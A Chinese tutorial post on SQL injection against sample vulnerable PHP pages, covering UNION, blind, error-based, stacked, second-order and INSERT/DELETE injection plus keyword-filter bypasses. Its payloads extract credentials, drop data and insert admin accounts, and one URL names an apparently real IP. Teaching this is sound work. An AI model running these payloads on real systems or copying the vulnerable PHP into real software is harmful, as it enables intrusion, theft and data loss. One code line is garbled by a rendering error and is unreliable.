SQL注入知识梳理

1.数字型和UNION注入

有如下数据库结构:
在这里插入图片描述

<?php
require_once 'conn.php';
$res = mysqli_query($conn,"select title,content from wp_news where id=".$_GET['id']);
$row = mysqli_fetch_array($res);
echo "<center>";
echo"<h1>".$row['title']."</h1>";
echo "<br>";
echo "<h1>".$row['content']."</h1>";
echo "</center>";
?>

  示例的部分代码如上,下面演示SQL注入攻击过程:

  • 访问链接:http://x.x.x.x/sql/sql1.php?id=2
    在这里插入图片描述
  • 再去访问:http://47.94.144.61/sql/sql1.php?id=3-1
    在这里插入图片描述
  • 可以看到页面仍然显示和之前id=2一样的结果,说明mysql对’3-1‘进行了计算,结果为2。
  • 从数字运算这个特征行为可以判断该注入点为数字型注入,表现为输入点“$_GET[‘id’]”附近没有引号包裹。
  • select title,content from wp_news where id=1 union select user,pwd from wp_user;
    在这里插入图片描述
  • 这个SQL语句的作用是查询新闻表中id=1时对应行的title、content字段的数据,并且联合查询用户表中的user、pwd(即账号密码字段)的全部内容。
  • 此时我们构造pauload,http://x.x.x.x/sql/sql1.php?id=1 union select user,pwd from wp_user,但是发现只显示了一行内容,事实上,MySQL确实查询出了两行记录,但是PHP代码决定了该页面只显示一行记录,所以我们需要将账号密码的记录显示在查询结果的第一行。
  • 有两种方法:
    (1)使用limit 1,1 语句:http://x.x.x.x/sql/sql1.php?id=1 union select user,pwd from wp_user limit 1,1
    (2)指定id=-1或者一个很大的值,使得第一行记录无法被查询到,这样结果就只有一行记录:http://x.x.x.x/sql/sql1.php?id=-1 union select user,pwd from wp_user
  • 通常把使用UNION语句将数据展示到页面上的注入办法称为UNION(联合查询)注入。

2.数据库结构未知是如何得知数据表的字段名和表名?

  MySQL 5.0版本后,默认自带一个数据库information_schema,MySQL的所有数据库名、表名、字段名都可以从中查询到。虽然引入这个库是为了方便数据库信息的查询,但客观上大大方便了SQL注入的利用。继续利用上面的例子:

  • 查本数据库所有的表名:http://x.x.x.x/sql/sql1.php?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
    (1)table_name字段是information_schema库的tables表的表名字段。
    (2)database()函数返回的内容是当前数据库的名称。
    (3)group_concat是联合多行记录的函数。
    (4)表中还有数据库名字段table_schema。
  • 查询数据表中的字段名:http://x.x.x.x/sql/sql1.php?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘wp_user’

3.字符型注入和布尔注入

<?php
require_once 'conn.php';
$res = mysqli_query($conn,"select title,content from wp_news where id='".$_GET['id']."'");
$row = mysqli_fetch_array($res);
echo "<center>";
echo"<h1>".$row['title']."</h1>";
echo "<br>";
echo "<h1>".$row['content']."</h1>";
echo "</center>";
?>

3.1 字符型注入

  与sql1.php相比,上面的代码只是在GET参数输入的地方包裹了单引号,让其变成字符串。在mysql查询是执行的下面语句:select title,content from wp_news where id=‘1’

  • 在MySQL中,等号两边如果类型不一致,则会发生强制转换。当数字与字符串数据比较时,字符串将被转换为数字,再进行比较。字符串1与数字相等;字符串1a被强制转换成1,与1相等;字符串a被强制转换成0所以与0相等。
    在这里插入图片描述
  • 按照以上的特性我们可以判断,注入点是否为字符型。
  • 访问http://47.94.144.61/sql/sql2.php?id=3-2,页面为空。
  • 访问http://47.94.144.61/sql/sql2.php?id=1a,结果如下,说明是字符型注入:
    在这里插入图片描述
  • 尝试使用单引号闭合前面的单引号,再用#或–%20注释掉后面的语句,此时的payload一定要URL编码。
  • 访问 http://x.x.x.x/sql/sql2.php?id=%31%27%23 ,结果和上面一样。此时执行的sql语句为select title,content from wp_news where id=‘1’#’
  • 输入的单引号闭合了前面预置的单引号,输入的“#”注释了后面预置的单引号,查询语句成功执行,接下来的操作就与数字型注入一致了。
  • http://x.x.x.x/sql/sql2.php?id=-1’ union select user,pwd from wp_user#

3.2 布尔盲注

  除了注释掉后面的,也可以采用引号来闭合后面的单引号,如:http://x.x.x.x/sql/sql2.php?id=1%27%20and%20%271。执行的sql语句是: select title,content from wp_news where id = ‘1’ and ‘1’;
在这里插入图片描述

  • 关键字WHERE是SELECT操作的一个判断条件,之前的id=1即查询条件。这里,AND代表需要同时满足两个条件,一个是id=1,另一个是’1’。由于字符串’1’被强制转换成True,代表这个条件成立,因此数据库查询出id=1的记录。
  • 再次执行这条语句:select title,content from wp_news where id = ‘1’ and ‘a’;
  • 第1个条件仍为id=1,第2个条件字符串’a’被强制转换成逻辑假,所以条件不满足,查询结果为空。
  • 当页面显示为sqli时,AND后面的值为真,当页面显示为空时,AND后面的值为假。虽然我们看不到直接的数据,但是可以通过注入推测出数据,这种技术被称为布尔盲注。
  • 假设猜测的字符未知此时我们可以注意==逐一从a开始进行猜测,但是这样速度会很慢。
  • 此时我们可以换个符号,使用小于符号按范围猜测。select title,content from wp_news where id = ‘1’ and ‘a’ < ‘f’,这样可以很快知道被猜测的数据小于字符’f’,随后用二分法继续猜出被测字符。
  • 这只是在单字符条件下,数据库大多都不是一个字符,此时我们就要使用数据截取函数如substring()、mid()、substr()。
    在这里插入图片描述
  • 查询:select concat(user,0x7e,pwd) from wp_user;
  • 截取第一位:select mid((select concat(user,0x7e,pwd) from wp_user),1,1);
  • 拼接完整语句:id = 1’ and (select mid((select concat(user,0x7e,pwd) from wp_user),1,1)) = ‘a’#
  • 在截取第二位:id = 1’ and (select mid((select concat(user,0x7e,pwd) from wp_user),2,1)) = ‘b’#
  • 一次类推,即可得到相应的数据。盲注过程中,根据页面回显的不同来判断布尔盲注比较常见,除此之外,还有一类盲注方式页面返回完全一致所以需要通过其他手段进行判断。
  • 通过服务器执行SQL语句所需要的时间,如sleep()语句。通过sleep()函数,利用IF条件函数或AND、OR函数的短路特性和SQL执行的时间判断SQL攻击的结果,这种注入的方式被称为时间盲注。
  • 如下我们判断数据库长度的方法:id=-1’ union select 1,if(length(database()=4),sleep(5),1)#

4.报错注入

<?php
require_once 'conn.php';
$res = mysqli_query($conn,"select title,content from wp_news where id='".$_GET['id']."'") or var_dump(mysqli_error($conn));
$row = mysqli_fetch_array($res);
echo "<center>";
echo"<h1>".$row['title']."</h1>";
echo "<br>";
echo "<h1>".$row['content']."</h1>";
echo "</center>";
?>

  为了方便开发者调试,有的网站会开启错误调试信息,代码如上所示。此时只要触发sql语句的错误,即可在页面上看到错误信息如下:
在这里插入图片描述

  • 这种攻击方式则是因为MySQL会将语句执行后的报错信息输出,故称为报错注入。
  • updatexml在执行时,第二个参数应该为合法的XPATH路径,否则会在引发报错的同时将传入的参数进行输出,如下语句:select title,content from wp_news where id=‘1’ or updatexml(1,concat(0x7e,(select pwd from wp_user)),1);
    在这里插入图片描述
  • payload为:1’or updatexml(1,concat(0x7e,(select pwd from wp_user)),1)#

5.堆叠注入

<?php
require_once 'conn.php';
$sql = "select title,content from wp_news where id='".$_GET['id']."'";
try{
foreach($conn->query($sql) as $row){
print_r($row);
}
}
catch(PDOException $e){
echo $e->getMessage();
die();
}
?>
  • 此时可在闭合单引号后执行任意SQL语句。
  • 如下我们执行删除数据表wp_files。
  • Url:http://x.x.x.x/sql4.php?id=1%27;delete from wp_files;#

6.二次注入

  • 用户输入的用户名admin’or’1经过转义为了admin’or’1。

  • 此时,由于引号被转义,并没有注入产生,数据正常入库。
    在这里插入图片描述

  • 但是,当这个用户名再次被使用时(通常为session信息),如下代码:

    <?php
    require_once 'conn.php';
    $conn = mysqli_query($conn,"select username from wp_user where id = 2");
    $row = mysqli_fetch_array($res);
    $name = $row["username"];
    $res = mysqli_query($conn,"select password from wp_user where username='$name'");
    ?>
    
  • 当name进入SQL语句后,变为:select password from where username = 'admin’or’1’产生了注入。

7.注入点

7.1 SELECT注入

(1)注入点在select_expr,如下代码:

	<?php
			require_once 'conn.php';
			$sql = "select ${_GET['id']},content from wp_news";
			$res = mysqli_query($conn,$sql);
			$row = mysqli_fetch_array($res);
			echo "<center>";
			echo "<h1>".$row['title']."</h1>";
			echo "<br>";
			echo "<h1>".$row['content']."</h1>";
			echo "</center>";
			?>
  • 利用AS别名的方法,直接将查询的结果显示到界面中。

  • URL:http://x.x.x.x/sql/sqln1.php?id=(select pwd from wp_user) as title
    (2)注入点在table_reference,如下代码:

     <?php
     		require_once 'conn.php';
     		$sql = "select title from ${_GET['table']}");
     		$res = mysqli_query($conn,$sql);
     		$row = mysqli_fetch_array($res);
     		echo "<center>";
     		echo "<h1>".$row['title']."</h1>";
     		echo "<br>";
     		echo "<h1>".$row['content']."</h1>";
     		echo "</center>";
     		?>
    
  • URL:http://x.x.x.x/sql/sqln2.php?table=(select pwd as title from wp_user)a

  • 在select_expr和table_reference的注入,如果注入的点有反引号包裹,那么需要先闭合反引号。
    (3)注入点在WHERE或HAVING后

  • $res = mysqli_query($conn,“select title from wp_news where id= ${_GET[id]}”);

  • 要先判断有无引号包裹,再闭合前面可能存在的括号,即可进行注入来获取数据。having数据类似。
    (4)注入点在GROUP BY或ORDER BY后

  • $res = mysqli_query($conn,“select title from wp_news group by ${_GET[‘title’]}”);

(5) 注入点在limit之后
  LIMIT后的注入判断比较简单,通过更改数字大小,页面会显示更多或者更少的记录数。由于语法限制,前面的字符注入方式不可行(LIMIT后只能是数字),在整个SQL语句没有ORDER BY关键字的情况下,可以直接使用UNION注入。

7.2 insert注入

(1)注入点在tbl_name,代码如下:

<?php require_once 'conn.php'; $sql = "insert into {$_GET['table']} values(2,2,2,2)"; $res = mysqli_query($conn,$sql); ?>

  • URL:http://47.94.144.61/sql/insert.php?table=wp_user values(2,‘‘newadmin’,‘newpass’)#
  • 成功地插入了一个新的管理员。

(2)注入点在values

  • Insert into wp_user values(1,1,‘可控位置’);
  • 此时可先闭合单引号,然后另行插入一条记录,通常管理员和普通用户在同一个表,此时便可以通过表字段来控制管理员权限。
  • Insert into wp_user values(1,0,‘1’),(2,1,‘aaa’);
  • 如果用户表的第2个字段代表的是管理员权限标识,便能插入一个管理员用户。在某些情况下,我们也可以将数据插入能回显的字段,来快速获取数据。假设最后一个字段的数据会被显示到页面上,那么采用如下语句注入,即可将第一个用户的密码显示出来。
  • Insert into wp_user values(1,1,‘1’),(2,2,(select pwd from wp_user limit 1));

7.4 update注入

  注入点位于SET后为例。一个正常的update语句,下图可以看到,原先表wp_user第2行的id数据被修改。
在这里插入图片描述
  当id数据可控时,则可修改多个字段数据,如:Update wp_user set id=3,user=‘xxx’ where user=‘23’;

7.4 delete注入

  • $res = mysqli_query(KaTeX parse error: Expected '}', got 'EOF' at end of input: …ws where id = {_GET[‘id’]}");
  • DELETE语句的作用是删除某个表的全部或指定行的数据。对id参数进行注入时,稍有不慎就会使WHERE后的值为True,导致整个wp_news的数据被删除。
  • 为了保证不会对正常数据造成干扰,通常使用’and sleep(1)'的方式保证WHERE后的结果返回为False。

8.注入的防御

8.1 字符替换

  为了防御SQL注入,有的开发者直接简单、暴力地将诸如SELECT、FROM的关键字替换或者匹配拦截。
(1) 只过滤空格,代码如下:

<?php
	require_once 'conn.php';
	$id = $_GET['id'];
	echo "before replace id:$id";
	$id = str_replace(" ","",$id);
	echo "<br>";
	echo "after replace id:$id";
	$sql = "select title,content from wp_news where id=".$id;
	$res = mysqli_query($conn,$sql);
	$row = mysqli_fetch_array($res);
	echo "<center>";
	echo"<h1>".$row['title']."</h1>";
	echo "<br>";
	echo "<h1>".$row['content']."</h1>";
	echo "</center>";
	?>
  • 使用之前的payload会被替换为空,-1 union select 1,2。
  • 除了空格,在代码中可以代替的空白符还有%0a、%0b、%0c、%0d、%09、%a0。
  • 将空格替换为%09,-1%09union%09select%091,2。

(2)select替换成空。

  • $id = str_replace(“select”,"",$id)
  • 可以用嵌套的方式,如SESELECTLECT形式,在经过过滤后又变回了SELECT。

(3)大小写匹配。

  • 在MySQL中,关键字是不区分大小写的,如果只匹配了"SELECT",便能用大小写混写的方式轻易绕过,如"sEleCT"。

(4)正则匹配。

  • 正则匹配关键字"bselectb"可以用形如"/!50000select/"的方式绕过。

(5)替换了单引号或双引号,忘记了反斜杠。

  • $sql = “select * from wp_news where id = ‘可控1’ and title = ‘可控2’”
  • 绕过语句:id = ‘a’ and titlr = ‘or sleep(1)#’
  • 第1个可控点的反斜杠转义了可控点1预置的单引号,导致可控点2逃逸出单引号。

8.2 逃逸引号

  开发者常会将用户的输入全局地做一次addslashes,也就是转义如单引号、反斜杠等字符,如“’”变为“’”。
(1)编码解码。
开发者常常会用到形如urldecode、base64_decode的解码函数或者自定义的加解密函数。当用户输入addslashes函数时,数据处于编码状态,引号无法被转义,解码后如果直接进入SQL语句即可造成注入,同样的情况也发生在加密/解密、字符集转换的情况。
(2)意料之外的输入点。
开发者在转义用户输入时遗漏了一些可控点,以PHP为例,形如上传的文件名、http header、$_SERVER[‘PHP_SELF’]这些变量通常被开发者遗忘,导致被注入。
(3)字符串截断。
  在标题、抬头等位置,开发者可能限定标题的字符不能超过10个字符,超过则会被截断。例如,PHP代码如下:

<?php
require_once 'conn.php';
$title = addslashes($_GET['title']);
$title = substr($title,0,10);
echo "<center>$title</center>";
$content = addslashes($_GET['content']);
$sql = "insert into wp_news values(2,'$title','$content')";
$res = mysqli_query($conn,$sql);
?>

  假设攻击者输入“aaaaaaaaa’”,自动转义为“aaaaaaaaa’”,由于字符长度限制,被截取为“aaaaaaaaa”,正好转义了预置的单引号,这样在content的地方即可注入。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇

)">
下一篇>>